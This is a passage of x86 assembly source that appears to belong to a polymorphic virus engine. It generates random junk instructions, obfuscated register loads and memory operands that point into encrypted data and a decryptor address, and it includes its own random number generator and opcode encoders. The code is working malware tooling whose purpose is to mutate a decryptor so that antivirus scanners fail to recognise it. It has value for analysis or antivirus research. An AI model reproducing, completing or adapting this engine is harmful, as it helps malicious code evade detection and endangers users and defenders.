dd offset bj_block1 - idelta
dd offset bj_block2 - idelta
dd offset bj_block3 - idelta
dd offset iRndJunk - idelta
dd offset iRndJunk - idelta
BJ_BLOCKCNT equ 05h
iBlockJunk endp
; writes two to four random junk instruction (reg or mem)
iRndJunk proc
pushad
push 03h
call rnd32r
inc eax
inc eax
xchg eax, ecx
rndj_loop: push JUNKGEN_CNT
call rnd32r
mov eax, [ebp.JunkGen-idelta+4*eax]
add eax, ebp
push ecx
push ebx
call eax
pop ebx
pop ecx
loop rndj_loop
mov [esp], edi
popad
ret
iRndJunk endp
; generates one junk instruction with the register in ebx (the register
; isn't overwritten some times)
; ebx = register
iRegJunk proc
push RJ_METHCNT
call rnd32r
mov ecx, [ebp.rj_methods-idelta+4*eax]
add ecx, ebp
call iOpSizeReg
jmp ecx
; method 1: immediate operation on register
rj_meth1: push eax
mov ecx, ebx
xor ecx, 0FFFFFF00h xor MOD_REG
push OPTYPE_MOV + 3
call rnd32r
cmp al, OPTYPE_MOV + 1
jb rj_m1_nmov
mov al, OPTYPE_MOV
rj_m1_nmov:
xchg eax, ebx
call rnd32
xchg eax, edx
call rnd32
test al, 0Ch
jz rj_m1_nsx
movsx edx, dl
rj_m1_nsx: pop eax
rj_m1_nrc: jmp ciOpRMImm
; method 2: operation with mem on register
rj_meth2: push eax
call iGetMemory
push OPTYPE_MOV + 3 ; we don't want to XCHG
call rnd32r ; get random operation type
cmp al, OPTYPE_MOV + 1
jb rj_m2_nmov
mov al, OPTYPE_MOV
rj_m2_nmov:
mov bh, al
pop eax
mov ah, REG_MEM
jmp ciOpRMReg
; method 3: operation with reg on register
rj_meth3:
push eax
rj_m3_asd: call rnd32
and al, REG_EDI
cmp al, bl
je rj_m3_asd
xor al, MOD_REG
xor bl, MOD_REG
xchg eax, ecx
call rnd32
and al, 01h
jnz rj_m3_nxchg
xchg bl, cl
rj_m3_nxchg: xchg eax, edx
push OPTYPE_MOV + 3
call rnd32r
cmp al, OPTYPE_MOV + 1
jb rj_m3_nmov
mov al, OPTYPE_MOV
rj_m3_nmov: mov bh, al
pop eax
mov ah, dl
jmp ciOpRMReg
; method 4: shift register
rj_meth4: xchg eax, ebx
or al, MOD_REG
xchg eax, ecx
push ebx
push RND_SHIFT
call rnd32r
xchg eax, ebx
push SHIFT_RND
call rnd32r
mov bh, al
call rnd32
and al, 1Fh
xchg eax, edx
pop eax
cmp al, OPSIZE_16
jne rj_m4_blah1
and dl, 0Fh
rj_m4_blah1: cmp al, OPSIZE_8
jne rj_m4_blah2
and dl, 07h
rj_m4_blah2:
mov ah, dl
jmp ciShiftRM
; method 5: movzx/movsx register, reg
rj_meth5: test al, al
jnz rj_m5_ok
inc eax
and bl, not 04h
rj_m5_ok: mov dl, MOVX_WORD xor MOVX_SX
test al, 02h
jz rj_m5_nprefix
mov byte ptr [edi], OPERAND_SIZE
inc edi
mov dl, MOVX_SX
rj_m5_nprefix: mov byte ptr [edi], ESC_2BYTE
inc edi
call rnd32
and al, dl
xor al, MOVX
stosb
call rnd32
and al, REG_EDI
shl ebx, 03h
xor eax, ebx
xor al, MOD_REG
stosb
ret
; method 6: inc/dec register
rj_meth6: push eax
call rnd32
and al, 01h
xchg eax, edx ; BL = 0 [INC] BL = 1 [DEC]
pop eax
test al, al
jnz rj_m6_n8
mov byte ptr [edi], INCDEC_GROUP
inc edi
xchg eax, edx
shl eax, 03h
xor al, MOD_REG
xor al, bl
stosb
ret
rj_m6_n8: test al, 02h
jz rj_m6_noprefix
mov byte ptr [edi], OPERAND_SIZE
inc edi
rj_m6_noprefix: xchg eax, edx
shl eax, 03h
xor al, INC_REG
xor al, bl
stosb
ret
rj_methods equ $
dd offset rj_meth1 - idelta
dd offset rj_meth2 - idelta
dd offset rj_meth3 - idelta
dd offset rj_meth4 - idelta
dd offset rj_meth5 - idelta
dd offset rj_meth6 - idelta
RJ_METHCNT equ 06h
iRegJunk endp
; write 2 - 4 register junk instructions
iRndRegJ proc
pushad
push 03h
call rnd32r
inc eax
inc eax
xchg eax, ecx
call iGetJunkReg
xchg eax, ebx
irrj_loop: push ecx ebx
call iRegJunk
pop ebx ecx
loop irrj_loop
mov [esp], edi
popad
ret
iRndRegJ endp
; memory junk generator
iMemJunk proc
push MJ_METHCNT
call rnd32r
mov edx, [ebp.mj_methods-idelta+4*eax]
add edx, ebp
push OPSIZE_16 + 1
call rnd32r
call iGetWrMem
jmp edx
; immediate operation on memory
mj_meth1: push eax
push OPTYPE_MOV + 3
call rnd32r
cmp al, OPTYPE_MOV + 1
jb mj_m1_nmov
mov al, OPTYPE_MOV
mj_m1_nmov: xchg eax, ebx
call rnd32
xchg eax, edx
call rnd32
test al, 0Ch
jz mj_m1_nsx
movsx edx, dl
mj_m1_nsx: pop eax
mj_m1_nrc: jmp ciOpRMImm
; register operation on memory
mj_meth2: push eax
push OPTYPE_MOV + 3
call rnd32r
cmp al, OPTYPE_MOV + 1
jb mj_m2_nmov
mov al, OPTYPE_MOV
mj_m2_nmov: mov bh, al
call rnd32
test ah, 01h
jz mj_m2_rndreg
and al, REG_EDI
mov bl, al
mj_m2_rndreg: pop eax
xor ah, ah ; MEM_REG
jmp ciOpRMReg
; shift operation on memory
mj_meth3: push eax
push RND_SHIFT
call rnd32r
xchg ebx, eax
push SHIFT_RND
call rnd32r
mov bh, al
call rnd32
xchg eax, edx
pop eax
mov ah, dl
jmp ciShiftRM
mj_methods equ $
dd offset mj_meth1 - idelta
dd offset mj_meth2 - idelta
dd offset mj_meth3 - idelta
MJ_METHCNT equ 03h
iMemJunk endp
; input: bl = register
; output: al = operand size, bl = register
iOpSizeReg proc
push OPSIZE_16 + 1
call rnd32r
test al, al
jnz cr_nop
cmp bl, REG_ESP
jnb iOpSizeReg
push eax
call rnd32
and al, 04h
xor bl, al
pop eax
cr_nop: ret
iOpSizeReg endp
; input: cx, esi = memory
; output: al = operand size, cx, esi = memory
iOpSizeMem proc
push OPSIZE_16 + 1
call rnd32r
ret
iOpSizeMem endp
; gets random register, parameter or junk memory operand
iGetMemory proc
push eax
gm_rep: xor eax, eax
mov al, GM_METHCNT2
cmp byte ptr [ebp.CurrentProc-idelta], DECRYPT_DATA
jb gm_push
inc eax
inc eax
gm_push: sub al, [ebp.InLoop-idelta]
push eax
call rnd32r
add al, [ebp.InLoop-idelta]
mov eax, [ebp.gm_methods-idelta+4*eax]
add eax, ebp
call eax
pop eax
ret
; get random parameter
gm_meth1: movzx eax, byte ptr [ebp.CurrentProc-idelta]
mov al, [ebp.ProcParameters-idelta+eax] ; parameter count
test eax, eax
jz gm_m1_ebp ; if no parameter, don't use this method
push eax
call rnd32r ; choose random parameter
shl eax, 02h ; scale to dword
add al, 08h ; first dword is return address
mov esi, eax ; the displacement
mov cx, REG_EBP ; relative to EBP
ret
gm_m1_ebp: mov cl, REG_EBP xor MOD_REG
ret
; get random junk mem
gm_meth2: mov eax, [ebp.JunkSpSize-idelta] ; access a random dword
shl eax, 02h
dec eax
dec eax
dec eax
push eax
call rnd32r ; from junk memory
add eax, [ebp.JunkSpRVA-idelta] ; add start rva
xchg eax, esi
mov cx, MOD_DIRECT ; return a direct address
ret
; get random encrypted data
gm_meth3: mov eax, [ebp.CryptSize-idelta]
shl eax, 02h
dec eax
dec eax
dec eax
push eax
call rnd32r
add eax, [ebp.DecryptRVA-idelta]
xchg eax, esi
mov cx, MOD_DIRECT
ret
; get encrypted data (RVA + 1/2/4*counter)
gm_meth4: mov esi, [ebp.DecryptRVA-idelta]
push 03h ; scaling factor 1, 2 or 4
call rnd32r
mov ecx, eax
push edx
xor edx, edx
inc edx
shl edx, cl
sub esi, edx
pop edx
shl eax, 03h
xor al, [ebp.creg-idelta]
mov ch, al
mov cl, MOD_DIRECT
ret
; get current encrypted dword
gm_meth5: movsx cx, byte ptr [ebp.preg-idelta] ; use [preg] without
xor esi, esi ; displacement
ret
gm_methods equ $
dd offset gm_meth1 - idelta
dd offset gm_meth2 - idelta
GM_METHCNT3 equ 02h
dd offset gm_meth3 - idelta
GM_METHCNT2 equ 03h
dd offset gm_meth4 - idelta
dd offset gm_meth5 - idelta
GM_METHCNT1 equ 05h
iGetMemory endp
iGetWrMem proc
push eax
push GM_METHCNT3 - 1
call rnd32r
mov eax, [ebp.gm_methods-idelta+4+4*eax]
add eax, ebp
call eax
pop eax
ret
iGetWrMem endp
iGetPar proc
ret
iGetPar endp
; common junk procedures
iGetJunkReg proc
push 03h
call rnd32r
movzx eax, byte ptr [ebp.junkreg1-idelta+eax]
ret
iGetJunkReg endp
iPushJunk proc
pushad
push PP_METHCNT ; random method to push
call rnd32r ; a parameter
mov eax, [ebp.pp_methods-idelta+4*eax]
add eax, ebp
call eax ; call da method
mov [esp], edi
popad
ret
; push 8-bit immediate sign 'xtended to 32-bit
pp_meth1: mov al, PUSH_IMM_SX
stosb
call rnd32
stosb
ret
; push 32-bit immediate
pp_meth2: mov al, PUSH_IMM
stosb
call rnd32
xchg eax, edx
call rnd32
and eax, edx
stosd
ret
; push register
pp_meth4: call rnd32
and al, REG_EDI
xor al, PUSH_REG
stosb
ret
; push memory
pp_meth3: call iGetMemory
mov al, OP_GROUP5
stosb
mov bl, P_PUSH
jmp ciCreateOperand
pp_methods equ $
dd offset pp_meth1 - idelta
dd offset pp_meth2 - idelta
dd offset pp_meth3 - idelta
dd offset pp_meth4 - idelta
dd offset pp_meth4 - idelta
PP_METHCNT equ 05h
iPushJunk endp
iPopJunk proc
call rnd32
test al, 01h
jz pj_asdfklj
mov al, POP_REG
xor eax, ebx
stosb
ret
pj_asdfklj: test al, 02h
jz pj_blahblah
call iGetWrMem
mov al, POP_MEM
stosb
xor bl, bl
jmp ciCreateOperand
pj_blahblah: push 04h
pop edx
xor bl, bl
test al, 04h
jz pj_sueder
add bl, OPTYPE_SUB
neg edx
pj_sueder: mov al, OPSIZE_32
mov cl, REG_ESP xor MOD_REG
xor ch, ch
call ciOpRMImm
ret
iPopJunk endp
; returns random dword (0..4294967295)
rnd32 proc; [no parameterz]
push ecx
push edx
mov eax, [ebp.RandomSeed-idelta] ; load random seed
mov ecx, eax
mov edx, eax
not ecx
and ecx, 03h ; loop 8-64 times
inc ecx
shl ecx, 03h
rnd32_loop: push ecx
mov ecx, edx
ror eax, cl
neg eax
rol edx, cl
dec edx
pop ecx
rnd32_blah: loop rnd32_loop
xor eax, edx
mov [ebp.RandomSeed-idelta], eax ; write back random seed
pop edx
pop ecx
ret
rnd32 endp
; returns random dword (0..[esp+4])
rnd32r proc; [range]
push ecx
push edx
mov ecx, [esp+2*4+4]
call rnd32
xor edx, edx
div ecx
xchg eax, edx
pop edx
pop ecx
ret 04h
rnd32r endp
; 'xchanges n bytes from address ESI (n has to be pushed)
MixBytes proc; [count] [esi = ptr]
pushad ; preserve all registers
mov ebx, [esp.PUSHAD_SIZE+04h]
mov ecx, ebx
shl ecx, 01h ; loop counter (2 * # of bytes)
xb_loop: push ebx ; number of bytes
call rnd32r ; get first byte offset
xchg eax, edx
push ebx
call rnd32r ; get second byte offset
push ebx ; preserve number
mov bl, [esi+eax]
xchg [esi+edx], bl ; exchange bytes
mov [esi+eax], bl
pop ebx
loop xb_loop
popad
ret 04h
MixBytes endp
; writes 1 to 4 random bytes
WriteJunk proc
push eax
push ecx
push 04h ; get random value 0..3
call rnd32r
inc eax ; +1 (1..4)
xchg ecx, eax ; load into counter
wj_loop: call rnd32 ; get a random byte
stosb ; store it
loop wj_loop
pop ecx
pop eax
ret
WriteJunk endp
; returns reg if it is a junk reg, otherwise -1
iIsJReg proc
mov eax, [esp.04h]
cmp [ebp.junkreg1-idelta], al
je is_junkreg
cmp [ebp.junkreg2-idelta], al
je is_junkreg
cmp [ebp.junkreg3-idelta], al
je is_junkreg
xor eax, eax
dec eax
is_junkreg: ret 04h
iIsJReg endp
; generates TEST reg, reg/OR reg, reg/AND reg, reg
gCheckReg proc
; generate MOD/RM byte with MOD_REG flag and twice the same
; register.
pushad
mov al, bl
xor al, MOD_REG ; use as register
mov cl, al
xchg eax, ebx
mov bh, OPTYPE_OR
push 05h
call rnd32r ; get random value
cmp al, 03h
jae gcr_zer0
test al, 02h
jz gcr_and2
mov bh, OPTYPE_AND
gcr_and2: test al, 01h
jz gcr_not_test
mov bh, OPTYPE_TEST
gcr_not_test: call rnd32
and ah, REG_MEM ; random direction
mov al, OPSIZE_32
call ciOpRMReg
gcr_exit2: mov [esp], edi
popad
ret
gcr_zer0: call rnd32
and al, OPTYPE_CMP
cmp al, OPTYPE_ADC
jb gcrz_1
cmp al, OPTYPE_AND
jna gcr_zer0
gcrz_1: xchg eax, ebx
xor edx, edx
mov al, OPSIZE_32
call ciOpRMImm
jmp gcr_exit2
gCheckReg endp
; generates SUB reg, reg/XOR reg, reg/AND reg, 0
gClearReg proc
; generate MOD/RM byte with MOD_REG flag and twice the same
; register.
pushad
mov al, bl
shl al, 03h ; shift to REG field
xor al, bl ; write RM field
xor al, MOD_REG ; use as register
xchg eax, ebx
; generate either a SUB reg, reg or XOR reg, reg
mov cl, MATH_SUB or OPSIZE_32
push 03h
call rnd32r ; get random value
test al, 02h
jnz gcr_and
test al, 01h
jz gcr_not_sub
mov cl, MATH_XOR or OPSIZE_32
gcr_not_sub: and al, REG_MEM ; random direction
or eax, ecx ; create opcode
stosb ; store opcode
xchg eax, ebx ; MOD/RM byte
stosb ; store
gcr_exit: mov [esp], edi
popad
ret
gcr_and: xchg eax, ebx
and al, MOD_REG xor REG_EDI
xchg eax, ecx
mov bl, OPTYPE_AND
mov al, OPSIZE_32
xor edx, edx
call ciOpRMImm
jmp gcr_exit
gClearReg endp
; loads reg (EBX) with immediate value (EDX)
gLoadReg proc
mov eax, edx
shr eax, 0Fh
jnz glr_notword
push 03h ; the value is 0..32767,
call rnd32r ; so we can choose
sub al, 01h
adc al, 00h
glr_shift_sx: shl eax, 03h ; MOVX_SX or MOVX_ZX
glr_word_val: test al, al
jnz glr_not_zx
push 02h
call rnd32r
test eax, eax
jz glr_not_zx
call gClearReg
push 05h ; ADD/OR/SUB/XOR
call rnd32r
cmp al, OPTYPE_OR
jbe glr_1
add al, OPTYPE_SUB - OPTYPE_ADC ; SUB/XOR
glr_1: cmp al, OPTYPE_SUB
jne glr_ns
neg edx
glr_ns: cmp al, OPTYPE_CMP
jne glr_asdf
inc eax
glr_asdf: xchg eax, ebx
xor al, MOD_REG
xchg eax, ecx
mov al, OPSIZE_16
jmp ciOpRMImm
glr_not_zx: push eax
call iGetJunkReg
xchg eax, ecx
call rnd32
test al, 03h ; chance of 1:4 to use same register
jnz glr_blah1
mov ecx, ebx
glr_blah1: mov al, OPSIZE_16
push ebx
mov bl, OPTYPE_MOV
xor ecx, 0FFFFFF00h xor MOD_REG
call ciOpRMImm
pop ebx
and ecx, REG_EDI
xchg ecx, ebx
call iBlockJunkAR
pop eax
mov ah, ESC_2BYTE
xor al, MOVX xor MOVX_WORD
xchg ah, al
stosw
xchg ecx, ebx
xor ecx, 0FFFFFF00h xor MOD_REG
jmp ciCreateOperand
glr_notword: inc eax
shr eax, 11h ; if not zero, value is a negative word
jnz glr_shift_sx ; we must use MOVSX
mov eax, edx
shr eax, 10h ; if zero, only first 16 bits are used
jz glr_word_val ; we must use MOVZX
push GLR_METHCNT ; choose between some methods
call rnd32r
mov eax, [ebp.glr_methods-idelta+eax*4] ; load method
add eax, ebp ; relocate pointer to subroutine
jmp eax ; jump to method.
; method 1: mov reg, imm
glr_meth1: xchg eax, ebx ; get register
xor al, MOV_REG_IMM32 ; add opcode
stosb ; store opcode
xchg eax, edx ; get immediate
stosd ; store immediate
ret
; method 2: clear reg; add/or/sub/xor reg, imm
glr_meth2: call gClearReg ; clear the register
push 04h ; ADD/OR/SUB/XOR
call rnd32r
cmp al, OPTYPE_OR
jbe glr_m2_1
add al, OPTYPE_SUB - OPTYPE_ADC ; SUB/XOR
glr_m2_1: cmp al, OPTYPE_SUB
jne glr_m2_ns
neg edx
glr_m2_ns: call iBlockJunkAR
xchg eax, ebx
or al, MOD_REG ; register
xchg eax, ecx
mov al, OPSIZE_32 ; 32-bit operand
jmp ciOpRMImm
; method 3: mov reg, rnd;
; sub/add/xor reg, imm add/sub/xor rnd
glr_meth3: mov al, MOV_REG_IMM32 ; mov reg, imm32 opcode
xor eax, ebx ; add register
stosb ; store it
call rnd32 ; get a random dword
stosd ; store it
xchg eax, edx ; random value
xchg eax, ecx ; immediate
call iBlockJunkAR ; generate junk block
push 03h ; add, sub, xor
call rnd32r
test eax, eax ; add?
jz glr_m3_1
add al, OPTYPE_SUB - 1 ; no, sub/xor
glr_m3_1: test eax, eax
jnz glr_m3_2
neg edx
add edx, ecx ; - random + immediate
glr_m3_2: cmp al, OPTYPE_SUB
jnz glr_m3_3
sub edx, ecx ; random - immediate
glr_m3_3: cmp al, OPTYPE_XOR
jnz glr_m3_4
xor edx, ecx ; random xor immediate
glr_m3_4: xchg eax, ebx
or al, MOD_REG
xchg eax, ecx
mov al, OPSIZE_32
jmp ciOpRMImm
; method 4: mov reg, imm ror/rol rnd;
; ror/rol reg, rnd
glr_meth4: call rnd32
and al, 1Fh
jz glr_meth4
xchg eax, ecx
xchg eax, edx
push ebx
mov bl, ROL_SHIFT
test ch, 01h
jz glr_m4_rol
rol eax, cl
inc ebx
jmp glr_m4_ror
glr_m4_rol: ror eax, cl
glr_m4_ror: xchg dl, cl
pop ecx
mov byte ptr [edi], MOV_REG_IMM32
xor [edi], cl
inc edi
stosd
xchg ah, dl
xchg ebx, ecx
call iBlockJunkAR
xchg ebx, ecx
mov al, OPSIZE_32
mov bh, SHIFT_IMM
cmp ah, 01h
jnz glr_m4_n1
inc bh
glr_m4_n1: xor ecx, 0FFFFFF00h xor MOD_REG
jmp ciShiftRM
glr_methods equ $
dd offset glr_meth1 - idelta
dd offset glr_meth2 - idelta
dd offset glr_meth3 - idelta
dd offset glr_meth4 - idelta
GLR_METHCNT equ 04h
gLoadReg endp
; relocates a long jump (32-bit displacement)
; [address of disp] points to the byte after the opcode
RelLongJmp proc; [address], [address of disp]
push eax
push edi
mov eax, [esp.0Ch] ; where to jump
mov edi, [esp.10h] ; address of displacement
neg edi
lea eax, [eax+edi-04h]
neg edi
stosd
pop edi
pop eax
ret 08h
RelLongJmp endp
; generates a shift instruction.
;
; AL: operand size
; you can generate byte, word or dword operations. choose between
; OPSIZE_8, OPSIZE_16 and OPSIZE_32. you may generate a random
; number < OPSIZE_RND.
;
; AH: immediate shift value
;
; BL: shift type (ROL_SHIFT, SHL_SHIFT, RCR_SHIFT, ...)
; you can use random value < RND_SHIFT
;
;
; BH: shift operand type
; SHIFT_IMM
; SHIFT_1
; SHIFT_CL
; or random value < SHIFT_RND
;
; CL: R/M operand. can be:
; 1. register (REG_??? or MOD_REG)
; 2. memory, using register as index (REG_???)
; 3. memory, immediate address (MOD_DIRECT), ESI = virtual address
;
; CH: second index register + scaling factor
; REG_??? + NO_SCALE / SCALE_2/4/8
; (use random value < SCALE_RND, to get random register & scaling).
; if this byte is zero, no SIB byte is used.
; take special care when using no scaling factor (logical or with
; NO_SCALE)
;
; ESI: displacement
; if this is zero, no displacement is used.
; when usin' direct addressing (MOD_DIRECT), this register contains
; immediate memory address.
; if ESI is in the range between -128 and 127, 8-bit displacement is
; used. when you're using 8-bit displacement calculate them like this:
; movsx esi, rm8 ; rm8 = 8-bit register or memory operand
; ; containing 8-bit displacement.
;
ciShiftRM proc
pushad
test al, OPSIZE_16 ; check if 16-bit operand
jz ciSRno_prefix ; no, we don't need a prefix
mov byte ptr [edi], 66h ; write prefix
inc edi ; increment pointer
dec eax ; change operand size to 32-bit
ciSRno_prefix: cmp ah, 01h
jnz ciSRasdlkfj
cmp bh, SHIFT_IMM
test bh, bh
jnz ciSRasdlkfj
mov bh, SHIFT_1
ciSRasdlkfj: test bh, bh
jz ciSRt_imm ; shift by immediate value
test bh, SHIFT_CL
jz ciSRt_1
or al, 02h
ciSRt_1: or al, 10h
ciSRt_imm: or al, OP_SHIFT
stosb
cmp bl, SAR_SHIFT
jnz ciSRnot_sar
inc ebx
ciSRnot_sar: mov al, bh
push eax
call ciCreateOperand
pop eax
test al, SHIFT_1 or SHIFT_CL
jnz ciSRexit
xchg al, ah
stosb
ciSRexit: mov [esp], edi
popad
ret
ciShiftRM endp
; generates a math operation, move, compare or exchange instruction.
;
; AL: operand size
; you can generate byte, word or dword operations. choose between
; OPSIZE_8, OPSIZE_16 and OPSIZE_32. you may generate a random
; number < OPSIZE_RND.
;
; AH: direction (MEM_REG, REG_MEM)
; MEM_REG, from register to memory (write)
; REG_MEM, from memory to register (read)
; or random value < DIR_RND.
;
; BL: register
; REG_??? or random value lower than REG_RND
;
; BH: operation type
; the following operations are generated:
; ADD, OR, ADC, SBB, AND, SUB, XOR, CMP, MOV, XCHG, TEST
; use the corresponding OPTYPE_??? constant as operation type.
; you can also use a random number lower than OPTYPE_RND constant.
;
; CL: R/M operand. can be:
; 1. register (REG_??? or MOD_REG)
; 2. memory, using register as index (REG_???)
; 3. memory, immediate address (MOD_DIRECT), ESI = virtual address
;
; CH: second index register + scaling factor
; REG_??? + NO_SCALE / SCALE_2/4/8
; (use random value < SCALE_RND, to get random register & scaling).
; if this byte is zero, no SIB byte is used.
; take special care when using no scaling factor (logical or with
; NO_SCALE)
;
; ESI: displacement
; if this is zero, no displacement is used.
; when usin' direct addressing (MOD_DIRECT), this register contains
; immediate memory address.
; if ESI is in the range between -128 and 127, 8-bit displacement is
; used. when you're using 8-bit displacement calculate them like this:
; movsx esi, rm8 ; rm8 = 8-bit register or memory operand
; ; containing 8-bit displacement.
ciOpRMReg proc
pushad
cmp al, OPSIZE_16 ; check if 16-bit operand
jnz ciORRno_prefix ; no, we don't need a prefix
mov byte ptr [edi], 66h ; write prefix
inc edi ; increment pointer
dec eax ; change operand size to 32-bit
ciORRno_prefix: cmp bh, OPTYPE_TEST ; check if TEST instruction
jnz ciORRlame1
mov bh, 090h ; real opcode ROR 3
xor ah, ah ; we can only use MEM_REG
ciORRlame1: cmp bh, OPTYPE_XCHG ; check if XCHG instruction
jnz ciORRlame2
mov bh, 0D0h ; real opcode ROR 3
test al, al ; check if 8-bit operand
jz ciORRlame2 ; next 2 checkz are obsolete
mov dl, cl
and dl, MOD_REG
cmp dl, MOD_REG
jnz ciORRblah
xchg cl, bl
test cl, cl ; check if reg field is eax
jz ciORRxchgeax ; yes, generate xchg eAX, ??
xchg bl, cl
cmp cl, REG_EAX or MOD_REG ; check if r/m field is eax
jnz ciORRlame2
ciORRxchgeax: test cl, MOD_DISP8
jz ciORRblah
test cl, MOD_DISP32
jz ciORRblah
mov al, bl ; BL contains reg
and al, 3Fh ; clear MOD_REG bits
or al, XCHG_EAX_REG ; generate opcode
stosb ; store opcode
jmp ciORRexit ; done! we saved one byte, but
; poly engine grows 25 bytes :p
ciORRblah:
ciORRlame2: cmp bh, OPTYPE_MOV ; check if MOV instruction
jnz ciORRlame3
mov bh, 011h ; real opcode ROR 3
ciORRlame3: shl ah, 1
or al, ah ; operand size + direction
rol bh, 03h ; operation number ROL 3
or al, bh
stosb ; store opcode
call ciCreateOperand ; create R/M byte
ciORRexit: mov [esp], edi
popad
ret
ciOpRMReg endp
; generates a math operation, move or compare instruction.
;
; AL: operand size
; you can generate byte, word or dword operations. choose between
; OPSIZE_8, OPSIZE_16 and OPSIZE_32. you may use random operand size
; (random number must be lower than OPSIZE_RND)
;
; BL: operation type
; the following operations are generated:
; ADD, OR, ADC, SBB, AND, SUB, XOR, CMP, MOV, XCHG, TEST
; use the corresponding OPTYPE_??? constant as operation type.
; you can also use a random number lower than OPTYPE_RND constant.
;
;
; CL: R/M operand. can be:
; 1. register (REG_??? or MOD_REG)
; 2. memory, using register as index (REG_???)
; 3. memory, immediate address (MOD_DIRECT), ESI = virtual address
;
; hey, you'd bet right! here you can also use random value! :I
; REG_RND for random register (don't forget to set MOD_REG),
; REG_RND for random index reg
; and finally MEM_RND for random index reg, but also direct
; addressing (means no index reg is used, but memory address)
;
; CH: second index register + scaling factor
; REG_??? + NO_SCALE / SCALE_2/4/8
; (use random value < SCALE_RND, to get random register & scaling).
; if this byte is zero, no SIB byte is used.
; take special care when using no scaling factor (logical or with
; NO_SCALE)
; EDX/DX/DL: immediate value
;
; ESI: displacement or immediate address
;
; if operation is MOV and operand is register, generate MOV reg, imm8/16/32
; if operation is MOV and operand is memory, generate MOV mem, imm8/16/32
; if operation is TEST, generate TEST r/m, imm8/16/32
; if operand is register and register is EAX/AX/AL, no R/M byte is used.
; (other opcode)
;
ciOpRMImm proc
pushad
push edx
mov edx, eax
cmp al, OPSIZE_16 ; are we usin' 16-bit operands?
jnz ciORIno_prefix ; no, we don't need a prefix.
mov byte ptr [edi], 66h ; store prefix
inc edi
dec eax
; check for MOV operation
ciORIno_prefix: cmp bl, OPTYPE_MOV ; MOV operation?
jnz ciORInot_mov ; no, check next
; check if operand is register
push eax ; push operand size.
mov eax, ecx
xor al, MOD_REG ; invert MOD_??? bits
test al, MOD_REG ; they aren't 00 now?
jnz ciORInot_reg ; operand is not register
pop ecx ; pop operand size
shl cl, 03h ; generate B0h or B8h opcode
or al, cl ; register OR operand size
or al, MOV_REG_IMM
stosb ; store opcode
jmp ciORIwrite_imm ; write immediate
; generate MOV mem, imm
ciORInot_reg: pop eax ; pop operand size
or al, MOV_MEM_IMM
stosb
xor ebx, ebx
jmp ciORIcreate_rm
; Check for TEST operation
ciORInot_mov: cmp bl, OPTYPE_TEST ; TEST operation?
jnz ciORInot_test ; no, check next
cmp cl, REG_EAX or MOD_REG ; reg = EAX/AX/AL?
jnz ciORInot_eax1
or al, TEST_EAX_IMM ; generate TEST eAX/AL, imm
stosb
jmp ciORIwrite_imm
ciORInot_eax1: or al, OP_GROUP3 ; opcode for operation group 3
stosb ; store
xor bl, bl ; TEST r/m, Ib/Iv
jmp ciORIcreate_rm
; check if EAX/AX/AL register.
; if yes, we can generate opcode by shifting left operation
; type by 03h, adding 04h and adding operand size.
ciORInot_test:
; if all above fails, generate operation from immediate
; group (group 1). opcode 80h or operand size.
; if it is a 32-bit immediate, we check if immediate value
; fits in byte (-128 <= immediate >= 127). we can save 3
; bytes that will be 000000h or FFFFFFh anyway. :-%
push edx
or al, OP_GROUP1
test al, OPSIZE_32
jz ciORIblah
mov edx, [esp + 04h]
movsx edx, dl
cmp edx, [esp + 04h]
jne ciORIblah
inc eax
and byte ptr [esp], 00h
inc eax ; use byte imm, sign extended to dword
ciORIblah: jnz ciORInot_eax2
pop edx
cmp cl, REG_EAX or MOD_REG ; register = EAX/AX/AL?
jnz ciORInot_eax3 ; nope, create operation
; from group 1 (immediate ops)
shl bl, 03h ; operation type
or bl, USE_EAX ; opcode ?4h or ?5h
and al, 01h
or al, bl ; add operand size
stosb ; store opcode
jmp ciORIwrite_imm ; write immediate value
ciORInot_eax2:
pop edx
ciORInot_eax3: stosb
ciORIcreate_rm:
call ciCreateOperand
ciORIwrite_imm: test dl, dl
jz ciORIimm8
test dl, OPSIZE_16
jnz ciORIimm16
pop eax
stosd
jmp ciORIexit
ciORIimm16: pop eax
stosw
jmp ciORIexit
ciORIimm8: pop eax
stosb
ciORIexit: mov [esp], edi
popad
ret
ciOpRMImm endp
; ciCreateOperand
;
; creates MOD/RM byte and if needed SIB byte, and stores da displacement
;
; BL: register or additional opcode information
;
; CL: R/M operand. can be:
; - register operand: REG_??? + MOD_REG
; - memory operand, index register: REG_???
; - memory operand, immediate addressing: MOD_DIRECT
;
; CH: second index register + scaling factor
; REG_??? + NO_SCALE / SCALE_2/4/8
; (use random value < SCALE_RND, to get random register & scaling).
; if this byte is zero, no SIB byte is used.
; take special care when using no scaling factor (logical or with
; NO_SCALE)
;
; ESI: displacement
; if this is zero, no displacement is used.
; when usin' direct addressing (MOD_DIRECT), this register contains
; immediate memory address.
; if ESI is in the range between -128 and 127, 8-bit displacement is
; used. when you're using 8-bit displacements calculate them like this:
; movsx esi, rm8 ; rm8 = 8-bit register or memory operand
; ; containing 8-bit displacement.
; this check isn't performed when MOD_DISP8 or MOD_DISP32
;
ciCreateOperand proc
pushad
mov eax, ecx
and al, MOD_REG
cmp al, MOD_REG ; R/M operand = register?
jz COcreate_mr ; yes, directly to ciCreateMODRM
test cl, MOD_DIRECT ; direct addressing?
jnz COno_disp
mov eax, esi
test eax, eax ; displacement = 0?
jz COno_disp ; don't use displacement
or cl, MOD_DISP32 ; set 32-bit displacement
test cl, MOD_DIRECT
jnz COno_disp
movsx eax, al
cmp eax, esi
jne COno_disp
xor cl, MOD_REG
COno_disp: test ch, ch ; second index register?
jz COcreate_mr ; no, we don't need SIB
or cl, MOD_SIB ; set SIB flag
COcreate_mr:
; create MOD/RM byte
;
; BL = register or additional opcode information (bits 3, 4, 5)
; CL = register or memory operand (bits 0,1,2)
; - register operand: REG_??? + MOD_REG
; - memory operand, no displacement: REG_??? + MOD_NODISP
; - memory operand, 8-bit displacement: REG_??? + MOD_DISP8
; - memory operand, 32-bit displacement: REG_??? + MOD_DISP32
; - memory operand, immediate addressing: MOD_DIRECT
; - sib memory operand, no displacement: MOD_SIB + MOD_NODISP
; - sib memory operand, 8-bit displacement: MOD_SIB + MOD_DISP8
; - sib memory operand, 32-bit displacement: MOD_SIB + MOD_DISP32
; - sib memory operand, immediate addressing: MOD_DIRECT + MOD_SIB
;
; output:
;
; AL = displacement size:
; MOD_NODISP
; MOD_DISP8
; MOD_DISP32
; MOD_DIRECT
; MOD_SIB ; if MOD_SIB the lower 3 bits are base register
;
; [EBP] with no displacement is immediate addressing. if you want [EBP],
; this procedure generates zero 8-bit displacement. if you want immediate
; address use MOD_DIRECT.
;
